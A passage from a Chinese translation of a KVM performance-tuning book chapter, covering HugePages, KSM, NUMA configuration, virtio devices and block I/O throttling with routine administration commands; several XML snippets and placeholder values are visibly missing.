GB)会更有效率。 这意味着在引用内存页方面减少了*个管理性的*工作,而实际获取这些内存页的内容花费了更多的时间,这可以显著提高性能。 大多数已知的 Linux 发行版都可以使用 HugePages 来管理大量内存。 进程可以使用 HugePages 内存支持,通过增加对**转换查找缓冲器**(**TLB**)的 CPU 缓存命中率来提高性能,如[*第 2 章*](02.html#_idTextAnchor029),*KVM 作为虚拟化解决方案*中所述。 您已经知道,访客系统只是 Linux 系统中的进程,因此 KVM 访客有资格执行同样的操作。 - -在我们继续之前,我们还应该提到**透明 HugePages**(**THP**)。 THP 是一个抽象层,根据应用请求自动分配 HugePages 大小。 THP 支持可以完全禁用,只能在`MADV_HUGEPAGE`区域内启用(以避免消耗更多内存资源的风险),也可以在系统范围内启用。 在系统中配置 THP 有三个主要选项:`always`、`madvise`和`never`: - -```sh -# cat/sys/kernel/mm/transparent_hugepage/enabled [always] madvise never -``` - -从前面的输出中,我们可以看到我们服务器中的当前 THP 设置是`madvise`。 其他选项可以通过使用以下命令之一启用: - -```sh -echo always >/sys/kernel/mm/transparent_hugepage/enabled -echo madvise >/sys/kernel/mm/transparent_hugepage/enabled -echo never >/sys/kernel/mm/transparent_hugepage/enabled -``` - -简而言之,这些值的含义如下: - -* `always`:始终使用 THP。 -* `madvise`:仅在标有`MADV_HUGEPAGE`的**虚拟内存区**(**VMA**)中使用 HugePages。 -* `never`:禁用该功能。 - -性能的系统设置由 THP 自动优化。 通过使用内存作为缓存,我们可以获得性能优势。 当 THP 就位时,可以使用静态 HugePages,换句话说,THP 不会阻止它使用静态方法。 如果我们不将 KVM 虚拟机管理器配置为使用静态 HugePages,它将使用 4KB 的透明 HugePages。 使用 HugePages 作为 KVM 客户内存的优势在于,用于页表的内存更少,TLB 未命中也更少;显然,这提高了性能。 但请记住,当使用 HugePages 作为访客内存时,您不能再交换或膨胀访客内存。 - -让我们快速了解一下如何在 KVM 设置中使用静态 HugePages。 首先,让我们检查一下当前的系统配置-很明显,该系统中的 HugePages 大小当前设置为 2MB: - -![Figure 15.11 – Checking the HugePages settings ](img/B14834_15_11.jpg) - -图 15.11-检查 HugePages 设置 - -我们主要讨论从 HugePages 开始的所有属性,但值得一提的是`AnonHugePages`属性是什么。 `AnonHugePages`属性告诉我们系统级别的当前 THP 使用情况。 - -现在,让我们将 KVM 配置为使用自定义 HugePages 大小: - -1. 通过运行以下命令或从`sysfs`获取当前显式的`hugepages`值,如下所示: - - ```sh - #  cat /proc/sys/vm/nr_hugepages - 0 - ``` - -2. We can also use the `sysctl -a |grep huge` command: - - ![Figure 15.12 – The sysctl hugepages settings ](img/B14834_15_12.jpg) - - 图 15.12-sysctl hugepages 设置 - -3. As the HugePage size is 2 MB, we can set hugepages in increments of 2 MB. To set the number of hugepages to 2,000, use the following command: - - ```sh - # echo 2000 > /proc/sys/vm/nr_hugepages - ``` - - 分配给大页面的总内存不能被不支持大页面的应用使用-也就是说,如果过度分配大页面,主机系统的正常操作可能会受到影响。 在我们的示例中,2048*2MB 相当于 4096MB 的内存,我们在执行此配置时应该有可用的内存。 - -4. We need to tell the system that this type of configuration is actually OK and configure `/etc/security/limits.conf` to reflect that. Otherwise, the system might refuse to give us access to 2,048 hugepages times 2 MB of memory. We need to add two lines to that file: - - ```sh - soft memlock - hard memlock - ``` - - ``参数将取决于我们要进行的配置。 如果我们想要根据我们的 2048*2MB 示例配置所有内容,``将是 4,194,304(或 4096*1024)。 - -5. 要使其持久化,可以使用以下命令: - - ```sh - # sysctl -w vm.nr_hugepages= - ``` - -6. 然后,装载`fs`大页面,重新配置虚拟机,并重新启动主机: - - ```sh - # mount -t hugetlbfs hugetlbfs /dev/hugepages - ``` - -通过在 VM 配置文件中添加以下设置来重新配置 HugePage 配置的访客: - -```sh - - - -``` - -现在是关闭虚拟机并重新启动主机的时候了。 在虚拟机内部,执行以下操作: - -```sh -# systemctl poweroff -``` - -在主机上,执行以下操作: - -```sh -# systemctl reboot -``` - -在主机重新启动和虚拟机重新启动之后,它现在将开始使用巨型页面。 - -下一个主题与在多个 VM 之间共享内存内容有关,称为 KSM。 这项技术被大量用于*节省*内存。 在任何给定时刻,当多个 VM 在虚拟化主机上供电时,这些 VM 很有可能具有相同的内存块内容(它们具有相同的内容)。 那么,就没有理由多次存储相同的内容。 通常,我们将 KSM 称为应用于内存的重复数据消除过程。 让我们学习如何使用和配置 KSM。 - -# 熟悉 KSM - -KSM 是一种允许在系统上运行的不同进程之间共享相同页面的功能。 我们可能会假设由于某些原因而存在相同的页面-例如,如果有多个进程是从相同的二进制文件或类似的文件中派生出来的。 然而,没有这样的规则。 KSM 扫描这些相同的内存页面,合并**写入时复制**(**COW**)共享页面。 CoW 只是一种机制,当尝试更改多个进程共享和公用的内存区域时,请求更改的进程将获得一个新副本,并将更改保存在其中。 - -尽管合并后的 COW 共享页面可由所有进程访问,但每当进程尝试更改内容(写入该页面)时,该进程都会获得一个包含所有更改的新副本。 至此,您应该已经了解,通过使用 KSM,我们可以减少物理内存消耗。 在 KVM 上下文中,这确实可以增加价值,因为客户系统是系统中的`qemu-kvm`进程,并且所有 VM 进程都有大量相似内存的可能性很大。 - -要使 KSM 正常工作,进程/应用必须向 KSM 注册其内存页。 在 KVM-land 中,KSM 允许客户共享相同的内存页,从而实现内存消耗的改善。 这可能是某种类型的应用数据、库或任何其他经常使用的数据。 此共享页面或内存标记为`copy on write`。 简而言之,KSM 避免了内存复制,当 KVM 环境中存在类似的访客操作系统时,它非常有用。 - -通过使用预测理论,KSM 可以提供更高的内存速度和利用率。 大多数情况下,这些公共共享数据存储在缓存或主存中,从而减少了 KVM 访客的缓存未命中。 此外,KSM 可以减少总体客户内存占用,因此,在某种程度上,它允许用户在 KVM 设置中过量使用内存,从而提供更高的可用资源利用率。 但是,我们必须记住,KSM 需要更多的 CPU 资源来识别重复页面并执行共享/合并等任务。 - -在前面,我们提到了,流程必须标记*页*,以表明它们是 KSM 操作的合格候选者。 标记可以通过基于`MADV_MERGEABLE`标志的进程来完成,我们将在下一节讨论这一点。 您可以在`madvise`手册页中了解此标志的用法: - -```sh -# man 2 madvise -MADV_MERGEABLE (since Linux 2.6.32) -Enable Kernel Samepage Merging (KSM) for the pages in the range specified by addr and length. The kernel regularly scans those areas of user memory that have been marked as mergeable, looking for pages with identical content.  These are replaced by a single write-protected page (that is automatically copied if a process later wants to update the content of the page).  KSM merges only private anonymous pages (see mmap(2)). -The KSM feature is intended for applications that generate many instances of the same data (e.g., virtualization systems such as KVM).  It can consume a lot of processing   power; use with care.  See the Linux kernel source file Documentation/ vm/ksm.txt for more details. -The MADV_MERGEABLE and MADV_UNMERGEABLE operations are available only if the kernel was configured with CONFIG_KSM. -``` - -因此,内核必须配置 KSM,如下所示: - -![Figure 15.13 – Checking the KSM settings ](img/B14834_15_13.jpg) - -图 15.13-检查 KSM 设置 - -KSM 作为`qemu-kvm`包的一部分进行部署。 有关 KSM 服务的信息可以从`sysfs`文件系统的`/sys`目录中获取。 此位置有不同的可用文件,反映当前的 KSM 状态。 这些是由内核动态更新的,它具有 KSM 使用情况和统计信息的精确记录: - -![Figure 15.14 – The KSM settings in sysfs ](img/B14834_15_14.jpg) - -图 15.14-sysfs 中的 KSM 设置 - -在接下来的部分中,我们将讨论`ksmtuned`服务及其配置变量。 因为`ksmtuned`是控制 KSM 的服务,所以它的配置变量类似于我们在`sysfs`文件系统中看到的文件。 有关更多详细信息,请查看[https://www.kernel.org/doc/html/latest/admin-guide/mm/ksm.html](https://www.kernel.org/doc/html/latest/admin-guide/mm/ksm.html)。 - -也可以使用`virsh`命令调整这些参数。 `virsh node-memory-tune`命令为我们完成这项工作。 例如,以下命令指定共享内存服务进入休眠状态之前要扫描的页数: - -```sh -# virsh node-memory-tune --shm-pages-to-scan number -``` - -与任何其他服务一样,`ksmtuned`服务也将日志存储在日志文件`/var/log/ksmtuned`中。 如果我们将`DEBUG=1`添加到`/etc/ksmtuned.conf`,我们将获得来自任何类型的 KSM 调优操作的日志。 有关详细信息,请参阅[https://www.kernel.org/doc/Documentation/vm/ksm.txt](https://www.kernel.org/doc/Documentation/vm/ksm.txt)。 - -启动 KSM 服务后(如下所示),您可以根据 KSM 服务的实际情况观察值的变化: - -```sh -# systemctl start ksm -``` - -然后我们可以检查`ksm`服务的状态,如下所示: - -![Figure 15.15 – The ksm service command and the ps command output ](img/B14834_15_15.jpg) - -图 15.15-KSM 服务命令和 PS 命令输出 - -一旦启动了 KSM 服务,并且我们的主机上运行了多个虚拟机,我们就可以通过多次使用以下命令查询`sysfs`来检查更改: - -```sh -cat /sys/kernel/mm/ksm/* -``` - -让我们更详细地研究`ksmtuned`服务。 `ksmtuned`服务的设计使其经历一个动作周期并调整 KSM。 这一动作循环在循环中继续其工作。 每当创建或销毁访客系统时,libvirt 都会通知`ksmtuned`服务。 - -`/etc/ksmtuned.conf`文件是`ksmtuned`服务的配置文件。 以下是可用的配置参数的简要说明。 您可以看到这些配置参数与`sysfs`中的 KSM 文件匹配: - -```sh -# Configuration file for ksmtuned. -# How long ksmtuned should sleep between tuning adjustments -# KSM_MONITOR_INTERVAL=60 -# Millisecond sleep between ksm scans for 16Gb server. -# Smaller servers sleep more, bigger sleep less. -# KSM_SLEEP_MSEC=10 -# KSM_NPAGES_BOOST - is added to the `npages` value, when `free memory` is less than `thres`. -# KSM_NPAGES_BOOST=300 -# KSM_NPAGES_DECAY - is the value given is subtracted to the `npages` value, when `free memory` is greater than `thres`. -# KSM_NPAGES_DECAY=-50 -# KSM_NPAGES_MIN - is the lower limit for the `npages` value. -# KSM_NPAGES_MIN=64 -# KSM_NPAGES_MAX - is the upper limit for the `npages` value. -# KSM_NPAGES_MAX=1250 -# KSM_THRES_COEF - is the RAM percentage to be calculated in parameter `thres`. -# KSM_THRES_COEF=20 -# KSM_THRES_CONST - If this is a low memory system, and the `thres` value is less than `KSM_THRES_CONST`, then reset `thres` value to `KSM_THRES_CONST` value. -# KSM_THRES_CONST=2048 -``` - -KSM 旨在提高性能并允许内存过量使用。 它在大多数环境中都可用于此目的;但是,在某些设置或环境中,KSM 可能会带来性能开销-例如,如果您有几个虚拟机在您启动时具有相似的内存内容,并且在启动后会加载大量内存密集型操作,则 KSM 可能会带来性能开销。 这将产生问题,因为 KSM 首先会非常努力地减少内存占用,然后会浪费时间来覆盖多个虚拟机之间的所有内存内容差异。 此外,有人担心 KSM 可能会打开一个通道,可能会被用来在客户之间泄露信息,这在过去几年里已经有了很好的记录。 如果您有这些顾虑,或者如果您看到/体验到 KSM 无助于提高工作负载的性能,则可以将其禁用。 - -要禁用 KSM,请通过执行以下命令停止系统中的`ksmtuned`和`ksm`服务: - -```sh -# systemctl stop ksm -# systemctl stop ksmtuned -``` - -我们已经了解了 CPU 和内存的不同调优选项。 我们需要介绍的下一个大主题是 NUMA 配置,其中 CPU 和内存配置都成为更大故事或上下文的一部分。 - -# 使用 NUMA 调整 CPU 和内存 - -在我们开始为支持 NUMA 的系统调优 CPU 和内存之前,让我们先看看什么是 NUMA 以及它是如何工作的。 - -可以将 NUMA 看作一个系统,其中您有多条系统总线,每条总线服务于一小部分处理器和相关内存。 每组处理器都有自己的内存,可能还有自己的 I/O 通道。 可能无法停止或阻止跨这些组运行 VM 访问。 这些组中的每一个都称为**NUMA 节点**。 - -在此概念中,如果进程/线程在 NUMA 节点上运行,则同一节点上的内存称为本地内存,驻留在不同节点上的内存称为外部/远程内存。 这种实现与**对称多处理器系统**(**SMP**)不同,在对称多处理器系统(**SMP**)中,所有存储器的访问时间对于所有 CPU 都是相同的,因为存储器访问是通过集中式总线进行的。 - -讨论 NUMA 的一个重要话题是 NUMA 比率。 NUMA 比率衡量的是 CPU 访问本地内存的速度与访问远程/外部内存的速度相比。 例如,如果 NUMA 比率为 2.0,则 CPU 访问远程内存的时间是它的两倍。 如果 NUMA 比率为 1,这意味着我们使用的是 SMP。 该比率越大,VM 内存操作在获取(或保存)必要数据之前必须付出的延迟代价(开销)就越大。 在我们深入探讨调优之前,让我们先讨论一下系统的 NUMA 拓扑。 显示当前 NUMA 拓扑的最简单方法之一是通过`numactl`命令: - -![Figure 15.16 – The numactl -H output ](img/B14834_15_16.jpg) - -图 15.16-numactl-H 输出 - -前面的`numactl`输出表明系统中有 10 个 CPU,它们属于单个 NUMA 节点。 它还列出了与每个 NUMA 节点关联的内存和节点距离。 当我们讨论 CPU 钉住时,我们使用`virsh`功能显示了系统的拓扑。 要获得 NUMA 拓扑的图形视图,您可以使用名为`lstopo`的命令,该命令在基于 CentOS/Red Hat 的系统中随`hwloc`包提供: - -![Figure 15.17 – The lstopo command to visualize the NUMA topology ](img/B14834_15_17.jpg) - -图 15.17-可视化 NUMA 拓扑的 lstopo 命令 - -此屏幕截图还显示了与 NUMA 节点相关联的 PCI 设备。 例如,`ens*`(网络接口)设备连接到 NUMA 节点 0。 一旦我们有了系统的 NUMA 拓扑并了解了它,我们就可以开始调优它,特别是针对 KVM 虚拟化设置。 - -## NUMA 内存分配策略 - -通过修改 VM XML 配置文件,我们可以进行 NUMA 调优。 Tuning NUMA 引入了名为`numatune`的新元素标记: - -```sh -   ... -     -       -       ... - -``` - -这也可以通过`virsh`命令进行配置,如图所示: - -![Figure 15.18 – Using virsh numatune to configure the NUMA settings ](img/B14834_15_18.jpg) - -图 15.18-使用 virsh numatune 配置 NUMA 设置 - -此标记的 XML 表示如下所示: - -```sh - - … -   -     -     -     -     ... - -``` - -即使名为`numatune`的元素是可选的,也可以通过控制域进程的 NUMA 策略来调整 NUMA 主机的性能。 该可选元素的主要子标签是`memory`和`nodeset`。 关于这些子标记的一些说明如下: - -* `memory`: This element describes the memory allocation process on the NUMA node. There are three policies that govern memory allocation for NUMA nodes: - - A)`Strict`:当 VM 尝试分配内存而该内存不可用时,分配将失败。 - - B)`Interleave`:节点集定义的跨 NUMA 节点的轮询分配。 - - C)`Preferred`:VM 尝试从首选节点分配内存。 如果该节点没有足够的内存,它可以从剩余的 NUMA 节点中分配内存。 - -* `nodeset`:指定服务器上可用的 NUMA 节点列表。 - -这里的一个重要属性是*位置*,如以下 URL 所述-[https://libvirt.org/formatdomain.html](https://libvirt.org/formatdomain.html): - -“属性位置可用于指示域进程的内存放置模式,它的值可以是”static“或”auto“,默认为 vCPU 的位置,或者如果指定了 nodeset,则为”static“。”auto“表示域进程只从查询 numad 返回的咨询节点集中分配内存,如果指定了属性 nodeset 的值将被忽略。如果 vCPU 的位置是‘auto’,并且没有指定 numatune,则默认的数字会带有位置‘auto’和模式‘Strict - -我们需要小心使用这些声明,因为有适用的继承规则。 例如,如果我们指定``元素,则``和``元素缺省为相同的值。 因此,我们绝对可以配置不同的 CPU 和内存调优选项,但也要注意这些选项可以继承的事实。 - -在 NUMA 上下文中考虑 CPU 固定时,需要考虑更多事项。 我们在本章前面讨论了 CPU 固定的基础,因为它为我们的虚拟机提供了更好的、可预测的性能,并可以提高缓存效率。 举个例子,假设我们想要尽可能快地运行一个 VM。 谨慎的做法是在可用的最快存储空间上运行它,该存储空间将位于我们固定 CPU 核心的 CPU 插槽上的 PCI Express 总线上。 如果我们没有使用该虚拟机本地的 NVMe SSD,我们可以使用存储控制器来实现相同的功能。 但是,如果我们用来访问虚拟机存储的存储控制器物理连接到另一个 CPU 插槽,则会导致延迟。 对于延迟敏感型应用来说,这意味着性能会受到很大影响。 - -然而,我们也需要意识到另一个极端-如果我们做了太多的钉住,它可能会在未来产生其他问题。 例如,如果我们的服务器在体系结构上不同(具有个相同数量的核心和内存),迁移 VM 可能会出现问题。 我们可以创建一个场景,在此场景中,我们迁移的虚拟机将 CPU 核心固定到迁移过程的目标服务器上不存在的核心上。 因此,我们始终需要谨慎对待环境的配置,以免走得太远。 - -我们列表中的下一个主题是`emulatorpin`,它可以用来将我们的`qemu-kvm`仿真器固定到特定的 CPU 内核,这样它就不会影响我们的 VM 内核的性能。 让我们学习如何配置它。 - -## 了解仿真器 - -选项`emulatorpin`也属于 CPU 调优类别。 它的 XML 表示如下所示: - -```sh -   ... -         …..             ….. -       ... - -``` - -元素`emulatorpin`是可选的,用于将仿真器(`qemu-kvm`)固定到主机物理 CPU。 这不包括来自虚拟机的 vCPU 或 IO 线程。 如果省略此参数,则默认情况下,仿真器将固定到主机系统的所有物理 CPU。 - -重要提示: - -请注意,在调整支持 NUMA 的系统时,应同时配置``、``和``,以实现最佳的确定性性能。 - -在我们结束这一节之前,还有几件事需要介绍:访客系统 NUMA 拓扑和使用 NUMA 的海量内存备份。 - -可以使用访客 XML 配置中的``元素指定访客 NUMA 拓扑;有人称其为虚拟 NUMA: - -```sh -        ... -     -       -                    ... - -``` - -`cell id`元素告诉 VM 使用哪个 NUMA 节点,而`cpus`元素配置特定的核心(或多个核心)。 元素的作用是:分配每个节点的内存量。 每个 NUMA 节点从`0`开始按编号索引。 - -在前面,我们讨论了`memorybacking`元素,可以指定该元素在访客配置中使用大页。 当 NUMA 出现在设置中时,`nodeset`属性可用于配置每个 NUMA 节点的特定大小,这可能会很方便,因为它将给定访客的 NUMA 节点绑定到特定的大小: - -```sh - -     -       -       -     - -``` - -这种类型的配置可以优化内存性能,因为客户 NUMA 节点可以根据需要移动到托管 NUMA 节点,同时客户可以继续使用主机分配的大页面。 - -NUMA 调优还必须考虑 PCI 设备的 NUMA 节点位置,特别是当 PCI 设备从主机传递到访客时。 如果相关的 PCI 设备附属于远程 NUMA 节点,这可能会影响数据传输,从而损害性能。 - -显示 NUMA 拓扑和 PCI 设备从属关系的最简单方法是使用我们前面讨论的`lstopo`命令。 同一命令的非图形形式也可用于发现此配置。 请参考前面的部分。 - -## KSM 和 NUMA - -我们在前面的小节中详细讨论了 KSM。 KSM 是 NUMA 感知的,它可以管理在多个 NUMA 节点上发生的 KSM 进程。 如果您还记得,当我们从`sysfs`获取 KSM 条目时,我们遇到了一个名为`merge_across_node`的`sysfs`条目。 这是我们可以用来管理这个过程的参数: - -```sh -#  cat /sys/kernel/mm/ksm/merge_across_nodes -1 -``` - -如果此参数设置为`0`,则 KSM 仅合并来自同一 NUMA 节点的内存页。 如果它设置为`1`(这里就是这种情况),它将跨个 NUMA 节点合并*。 这意味着在远程 NUMA 节点上运行的 VM CPU 在访问 KSM 合并的页面时会遇到延迟。* - -显然,您知道 Guest XML 条目(`memorybacking`元素),它用于请求系统管理器禁用访客共享页面。 如果您不记得了,请重新参考内存调优一节,了解该元素的详细信息。 即使我们可以手动配置 NUMA,也有一种叫做自动 NUMA 平衡的东西。 我们之前确实提到过,但让我们看看这个概念涉及到什么。 - -## 自动 NUMA 平衡 - -自动 NUMA 平衡的主要目标是提高在 NUMA 感知系统中运行的不同应用的性能。 其设计背后的策略很简单:如果应用对运行 vCPU 的 NUMA 节点使用本地内存,它将具有更好的性能。 通过使用自动 NUMA 平衡,KVM 尝试移动 vCPU,以便它们位于 vCPU 正在使用的内存地址的本地(尽可能多)。 当自动 NUMA 平衡处于活动状态时,这全部由内核自动完成。 在具有 NUMA 属性的硬件上启动时,将启用自动 NUMA 平衡。 主要条件或准则如下: - -* `numactl --hardware`:显示多个节点 -* `cat /sys/kernel/debug/sched_features`:在标志中显示 NUMA - -要说明第二点,请参见以下代码块: - -```sh -#  cat /sys/kernel/debug/sched_features -GENTLE_FAIR_SLEEPERS START_DEBIT NO_NEXT_BUDDY LAST_BUDDY CACHE_HOT_BUDDY -WAKEUP_PREEMPTION ARCH_POWER NO_HRTICK NO_DOUBLE_TICK LB_BIAS NONTASK_ -POWER TTWU_QUEUE NO_FORCE_SD_OVERLAP RT_RUNTIME_SHARE NO_LB_MIN NUMA -NUMA_FAVOUR_HIGHER NO_NUMA_RESIST_LOWER -``` - -我们可以通过以下方式检查系统中是否启用了该功能: - -```sh -#  cat /proc/sys/kernel/numa_balancing -1 -``` - -显然,我们可以通过以下方式禁用自动 NUMA 平衡: - -```sh -# echo 0 > /proc/sys/kernel/numa_balancing -``` - -自动 NUMA 平衡机制根据算法和数据结构的数量工作。 此方法的内部结构基于以下内容: - -* NUMA 提示页面错误 -* NUMA 页面迁移 -* 伪交织 -* 故障统计 -* 任务放置 -* 任务分组 - -KVM 访客的最佳实践或建议之一是将其资源限制在单个 NUMA 节点上的资源量。 简而言之,这避免了在 NUMA 节点上不必要地拆分虚拟机,这可能会降低性能。 让我们从检查当前的 NUMA 配置开始。 有多个可用选项可以做到这一点。 让我们从`numactl`命令、NUMA 守护进程和`numastat`开始,然后返回到使用众所周知的命令`virsh`。 - -## numactl 命令 - -确认 NUMA 可用性的第一个选项使用`numactl`命令,如下所示: - -![Figure 15.19 – The numactl hardware output ](img/B14834_15_19.jpg) - -图 15.19-numactl 硬件输出 - -这只列出了一个节点。 即使这表示 NUMA 不可用,也可以通过运行以下命令进一步澄清: - -```sh -# cat /sys/kernel/debug/sched_features -``` - -如果系统不支持 NUMA,这将*不会*列出 NUMA 标志。 - -通常,不要使 VM*比单个 NUMA 节点所能提供的宽*。 即使 NUMA 可用,vCPU 也会绑定到 NUMA 节点,而不是绑定到特定的物理 CPU。 - -## 了解 Numad 和 Numastat - -`numad`手册页说明以下内容: - -Numad 是一个守护程序,用于控制使用 NUMA 拓扑的系统上 CPU 和内存的有效使用。 - -`numad`也称为自动**NUMA 亲和性管理守护进程**。 它不断监视系统上的 NUMA 资源,以便动态提高 NUMA 性能。 同样,`numad`手册页说明了以下内容: - -“Numad 是一个用户级守护程序,它提供放置建议和进程管理,以便在采用 NUMA 拓扑的系统上有效使用 CPU 和内存。” - -`numad`是监视 NUMA 拓扑和资源使用情况的系统守护进程。 它将尝试定位进程,以实现高效的 NUMA 局部性和亲和性,并动态调整以适应不断变化的系统条件。 `numad`还提供指导,帮助管理应用为其进程初始手动绑定 CPU 和内存资源。 请注意,`numad`主要用于服务器整合环境,其中可能有多个应用或多个虚拟访客在同一服务器系统上运行。 当进程可以在系统的 NUMA 节点的子集中进行本地化时,`numad`最有可能产生积极影响。 例如,如果整个系统专用于大型内存数据库应用,特别是当内存访问可能仍然不可预测时,`numad`可能不会提高性能。 - -要根据 NUMA 拓扑自动调整和调整 CPU 和内存资源,我们需要运行`numad`。 要将`numad`用作可执行文件,只需运行以下命令: - -```sh -# numad -``` - -您可以检查是否已启动,如图所示: - -![Figure 15.20 – Checking whether numad is active ](img/B14834_15_20.jpg) - -图 15.20-检查 Numad 是否处于活动状态 - -一旦执行了`numad`二进制文件,它将开始对齐,如下面的屏幕截图所示。 在我们的系统中,我们运行以下虚拟机: - -![Figure 15.21 – Listing running VMs ](img/B14834_15_21.jpg) - -图 15.21-列出正在运行的虚拟机 - -您可以使用`numastat`命令(将在下一节中介绍)来监视运行`numad`服务前后的差异。 它将使用以下命令持续运行: - -```sh -# numad -i 0 -``` - -我们可以随时停止它,但这不会更改由`numad`配置的 NUMA 关联状态。 现在让我们转到`numastat`。 - -`numactl`软件包提供`numactl`二进制/命令,`numad`软件包提供`numad`二进制/命令: - -![Figure 15.22 – The numastat command output for the qemu-kvm process ](img/B14834_15_22.jpg) - -图 15.22-qemu-kvm 进程的 numastat 命令输出 - -重要提示: - -在将 VM 转移到生产环境之前,我们使用的众多内存调优选项必须使用不同的工作负载进行彻底测试。 - -在我们跳到下一个主题之前,我们只想提醒您我们在本章前面提出的一点。 使用固定的资源实时迁移 VM 可能很复杂,因为您必须在目标主机上拥有某种形式的兼容资源(及其数量)。 例如,目标主机的 NUMA 拓扑不必与源主机的 NUMA 拓扑对齐。 在调优 KVM 环境时,应该考虑这一事实。 不过,自动 NUMA 平衡可能在一定程度上有助于手动固定访客资源。 - -# Virtio 设备调整 - -在虚拟化世界中,通常会与裸机系统进行比较。 准虚拟化驱动程序增强了访客的性能,并试图保持近乎裸机的性能。 建议对完全虚拟化的访客使用半虚拟化驱动程序,特别是当访客正在运行 I/O 繁重的任务和应用时。 **Virtio**是一个用于虚拟 IO 的 API,由 Rusted Russell 开发以支持他自己的虚拟化解决方案,称为`lguest`。 引入 Virtio 是为了实现 IO 虚拟化虚拟机管理器的通用框架。 - -简而言之,当我们使用半虚拟化驱动程序时,VM OS 知道它下面有一个虚拟机管理器,因此使用前端驱动程序来访问它。 前端驱动程序是访客系统的一部分。 当存在仿真设备并且有人想要为这些设备实现后端驱动程序时,虚拟机管理器将执行此工作。 前端和后端驱动程序通过基于 virtio 的路径进行通信。 Virtio 驱动程序是 KVM 用作半虚拟化设备驱动程序的驱动程序。 基本架构如下所示: - -![Figure 15.23 – The Virtio architecture ](img/B14834_15_23.jpg) - -图 15.23-Virtio 架构 - -主要有两层(虚拟队列和虚拟环)来支持访客和虚拟机管理器之间的通信。 - -**虚拟队列**和**虚拟环**(**vring**)是 Virtio 中的传输机制实现。 Virt Queue(Virtio)是连接前端和后端驱动程序的队列接口。 每个 virtio 设备都有自己的 virt 队列,来自客户系统的请求被放入这些 virt 队列。 每个 virt 队列都有自己的环,称为 vring,它是 QEMU 和客户之间映射内存的位置。 在 KVM 访客中可以使用不同的 virtio 驱动程序。 - -这些设备是在 QEMU 中仿真的,驱动程序是 Linux 内核的一部分,或者是为 Windows 客户提供的额外软件包。 设备/驱动程序对的一些示例如下: - -* `virtio-net`:virtio 网络设备是虚拟以太网卡。 `virtio-net`为此提供了驱动程序。 -* `virtio-blk`:virtio block 设备是一个简单的虚拟块设备(即磁盘)。 `virtio-blk`为虚拟块设备提供块设备驱动程序。 -* `virtio-balloon`:virtio 内存气球设备是用于管理客户内存的设备。 -* `virtio-scsi`:virtio SCSI 主机设备将一个或多个磁盘组合在一起,并允许使用 SCSI 协议与它们通信。 -* `virtio-console`:virtio 控制台设备是在访客和主机用户空间之间进行数据输入和输出的简单设备。 -* `virtio-rng`:virtio 熵设备为客户使用提供高质量的随机性,等等。 - -通常,您应该在 KVM 设置中使用这些 virtio 设备以获得更好的性能。 - -# 块 I/O 调整 - -回到基本问题-虚拟机的虚拟磁盘可以是块设备,也可以是映像文件。 为了获得更好的 VM 性能,基于块设备的虚拟磁盘比驻留在远程文件系统(如 NFS、GlusterFS 等)上的镜像文件更可取。 然而,我们不能忽视文件后端帮助 virt 管理员更好地管理访客磁盘,并且在某些情况下非常有用。 根据我们的经验,我们注意到大多数用户都使用磁盘镜像文件,特别是在性能不是很重要的情况下。 请记住,可以连接到虚拟机的虚拟磁盘总数是有限制的。 同时,不限制混合使用数据块设备和文件,并将其用作同一访客的存储磁盘。 - -访客将虚拟磁盘视为其存储。 当访客操作系统内的应用将数据写入访客系统的本地存储时,它必须经过几个层。 也就是说,该 I/O 请求必须遍历客户操作系统的存储和 I/O 子系统上的文件系统。 之后,`qemu-kvm`进程将其从访客操作系统传递给虚拟机管理器。 一旦 I/O 进入虚拟机管理器的范围内,它就会像在主机操作系统中运行的任何其他应用一样开始处理 I/O。 在这里,您可以看到 I/O 必须通过的层数才能完成 I/O 操作。 因此,数据块设备后端的性能优于映像文件后端。 - -以下是我们对磁盘后端和基于文件或映像的虚拟磁盘的观察: - -* 文件映像是主机文件系统的一部分,与数据块设备后端相比,它会为 I/O 操作带来额外的资源需求。 -* 使用稀疏映像文件有助于过度分配主机存储,但其使用会降低虚拟磁盘的性能。 -* 使用磁盘映像文件时,访客存储分区不正确可能会导致不必要的 I/O 操作。 这里,我们提到的是标准分区单元的对齐。 - -在本章开始时,我们讨论了 virtio 驱动程序,它们可以提供更好的性能。 因此,建议您在配置磁盘时使用 virtio 磁盘总线,而不是 IDE 总线。 `virtio_blk`驱动程序使用 virtio API 为存储 I/O 设备提供高性能,从而提高存储性能,尤其是在大型企业存储系统中。 我们讨论了[*第 5 章*](05.html#_idTextAnchor079),*Libvirt Storage*中提供的不同存储格式;但是,主要的存储格式是`raw`和`qcow`格式。 当您使用`raw`格式时,将获得最佳性能。 使用`qcow`时,格式层显然会带来性能开销。 因为格式层有时必须执行一些操作,例如,如果您想要增长一个`qcow`镜像,它必须分配新的集群,依此类推。 但是,如果您希望使用快照等功能,则可以选择`qcow`。 这些额外的设施以图像格式`qcow`提供。 可以在[http://www.Linux-kvm.org/page/Qcow2](http://www.Linux-kvm.org/page/Qcow2)找到一些性能比较。 - -I/O 调整有三个选项可以考虑,我们在[*第 7 章*](07.html#_idTextAnchor125)、*虚拟机-安装、配置和生命周期管理*中进行了讨论: - -* 缓存模式 -* I/O 模式 -* I/O 调谐设备 - -让我们简要介绍一下一些 XML 设置,以便可以在我们的 VM 上实现它们。 - -缓存选项设置可以反映在访客 XML 中,如下所示: - -```sh - - -``` - -I/O 模式配置的 XML 表示类似于以下内容: - -```sh - - -``` - -关于 I/O 调整,有几点补充说明: - -* 可能需要限制每个访客的磁盘 I/O,特别是当我们的设置中存在多个访客时。 -* 如果一个访客让主机系统忙于处理由此产生的大量磁盘 I/O(嘈杂的邻居问题),这对其他访客来说是不公平的。 - -一般来说,系统/Virt 管理员有责任确保所有运行的访客获得足够的资源来工作-换句话说,**服务质量**(**QOS**)。 - -尽管磁盘 I/O 不是保证 QoS 必须考虑的唯一资源,但这也有一定的重要性。 调优 I/O 可以防止访客系统独占共享资源并降低在同一主机上运行的其他访客的性能。 这实际上是要求,特别是当主机系统服务于**虚拟专用服务器**(**VPS**)或类似类型的服务时。 KVM 提供了在不同级别(吞吐量和 I/O 量)上进行 I/O 调节的灵活性,我们可以针对每个数据块设备进行调节。 这可以通过`virsh blkdeviotune`命令实现。 可以使用此命令设置的不同选项如下所示: - -![Figure 15.24 – Excerpt from the virsh blkdeviotune –help command ](img/B14834_15_24.jpg) - -图 15.24-virsh blkdeviotune-help 命令摘录 - -有关`total-bytes-sec`、`read-bytes-sec`、`writebytes-sec`、`total-iops-sec`等参数的详细信息很容易从前面的命令输出中理解。 它们也记录在`virsh`命令手册页中。 - -例如,要将名为`SQLForNuma`的虚拟机上的`vdb`磁盘限制为每秒 200 